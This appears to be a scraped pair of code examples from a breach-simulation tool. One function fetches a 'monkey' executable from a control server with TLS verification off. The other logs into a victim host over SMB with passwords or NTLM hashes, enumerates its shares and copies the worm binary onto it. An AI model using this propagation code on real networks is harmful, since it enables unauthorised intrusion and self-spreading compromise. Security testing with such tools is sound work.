Exemple #1
0
    def download_monkey_exe_by_filename(filename, size):
        if not WormConfiguration.current_server:
            return None
        try:
            dest_file = monkeyfs.virtual_path(filename)
            if (monkeyfs.isfile(dest_file)) and (
                    size == monkeyfs.getsize(dest_file)):
                return dest_file
            else:
                download = requests.get(
                    "https://%s/api/monkey/download/%s" %  # noqa: DUO123
                    (WormConfiguration.current_server, filename),
                    verify=False,
                    proxies=ControlClient.proxies)

                with monkeyfs.open(dest_file, 'wb') as file_obj:
                    for chunk in download.iter_content(
                            chunk_size=DOWNLOAD_CHUNK):
                        if chunk:
                            file_obj.write(chunk)
                    file_obj.flush()
                if size == monkeyfs.getsize(dest_file):
                    return dest_file

        except Exception as exc:
            LOG.warning("Error connecting to control server %s: %s",
                        WormConfiguration.current_server, exc)
Exemple #2
0
    def copy_file(host,
                  src_path,
                  dst_path,
                  username,
                  password,
                  lm_hash='',
                  ntlm_hash='',
                  timeout=60):
        assert monkeyfs.isfile(
            src_path), "Source file to copy (%s) is missing" % (src_path, )
        config = infection_monkey.config.WormConfiguration
        src_file_size = monkeyfs.getsize(src_path)

        smb, dialect = SmbTools.new_smb_connection(host, username, password,
                                                   lm_hash, ntlm_hash, timeout)
        if not smb:
            return None

        # skip guest users
        if smb.isGuestSession() > 0:
            LOG.debug(
                "Connection to %r granted guest privileges with user: %s, password (SHA-512): '%s',"
                " LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", host,
                username, Configuration.hash_sensitive_data(password),
                Configuration.hash_sensitive_data(lm_hash),
                Configuration.hash_sensitive_data(ntlm_hash))

            try:
                smb.logoff()
            except:
                pass

            return None

        try:
            resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
        except Exception as exc:
            LOG.debug("Error requesting server info from %r over SMB: %s",
                      host, exc)
            return None

        info = {
            'major_version':
            resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
            'minor_version':
            resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
            'server_name':
            resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
            'server_comment':
            resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
            'server_user_path':
            resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
            'simultaneous_users':
            resp['InfoStruct']['ServerInfo102']['sv102_users']
        }

        LOG.debug("Connected to %r using %s:\n%s", host, dialect,
                  pprint.pformat(info))

        try:
            resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
        except Exception as exc:
            LOG.debug("Error enumerating server shares from %r over SMB: %s",
                      host, exc)
            return None

        resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']

        high_priority_shares = ()
        low_priority_shares = ()
        file_name = ntpath.split(dst_path)[-1]

        for i in range(len(resp)):
            share_name = resp[i]['shi2_netname'].strip("\0 ")
            share_path = resp[i]['shi2_path'].strip("\0 ")
            current_uses = resp[i]['shi2_current_uses']
            max_uses = resp[i]['shi2_max_uses']

            if current_uses >= max_uses:
                LOG.debug(
                    "Skipping share '%s' on victim %r because max uses is exceeded",
                    share_name, host)
                continue
            elif not share_path:
                LOG.debug(
                    "Skipping share '%s' on victim %r because share path is invalid",
                    share_name, host)
                continue

            share_info = {'share_name': share_name, 'share_path': share_path}

            if dst_path.lower().startswith(share_path.lower()):
                high_priority_shares += ((ntpath.sep +
                                          dst_path[len(share_path):],
                                          share_info), )

            low_priority_shares += ((ntpath.sep + file_name, share_info), )

        shares = high_priority_shares + low_priority_shares

        file_uploaded = False
        for remote_path, share in shares:
            share_name = share['share_name']
            share_path = share['share_path']

            if not smb:
                smb, _ = SmbTools.new_smb_connection(host, username, password,
                                                     lm_hash, ntlm_hash,
                                                     timeout)
                if not smb:
                    return None

            try:
                tid = smb.connectTree(share_name)
            except Exception as exc:
                LOG.debug(
                    "Error connecting tree to share '%s' on victim %r: %s",
                    share_name, host, exc)
                continue

            LOG.debug(
                "Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
                share_name,
                share_path,
                remote_path,
                host.ip_addr[0],
            )

            remote_full_path = ntpath.join(share_path,
                                           remote_path.strip(ntpath.sep))

            # check if file is found on destination
            if config.skip_exploit_if_file_exist:
                try:
                    file_info = smb.listPath(share_name, remote_path)
                    if file_info:
                        if src_file_size == file_info[0].get_filesize():
                            LOG.debug(
                                "Remote monkey file is same as source, skipping copy"
                            )
                            return remote_full_path

                        LOG.debug(
                            "Remote monkey file is found but different, moving along with attack"
                        )
                except:
                    pass  # file isn't found on remote victim, moving on

            try:
                with monkeyfs.open(src_path, 'rb') as source_file:
                    # make sure of the timeout
                    smb.setTimeout(timeout)
                    smb.putFile(share_name, remote_path, source_file.read)

                file_uploaded = True
                T1105Telem(ScanStatus.USED,
                           get_interface_to_target(host.ip_addr), host.ip_addr,
                           dst_path).send()
                LOG.info(
                    "Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
                    src_path, share_name, share_path, host)

                break
            except Exception as exc:
                LOG.debug(
                    "Error uploading monkey to share '%s' on victim %r: %s",
                    share_name, host, exc)
                T1105Telem(ScanStatus.SCANNED,
                           get_interface_to_target(host.ip_addr), host.ip_addr,
                           dst_path).send()
                continue
            finally:
                try:
                    smb.logoff()
                except:
                    pass

                smb = None

        if not file_uploaded:
            LOG.debug(
                "Couldn't find a writable share for exploiting victim %r with "
                "username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (SHA-512): %s",
                host, username, Configuration.hash_sensitive_data(password),
                Configuration.hash_sensitive_data(lm_hash),
                Configuration.hash_sensitive_data(ntlm_hash))
            return None

        return remote_full_path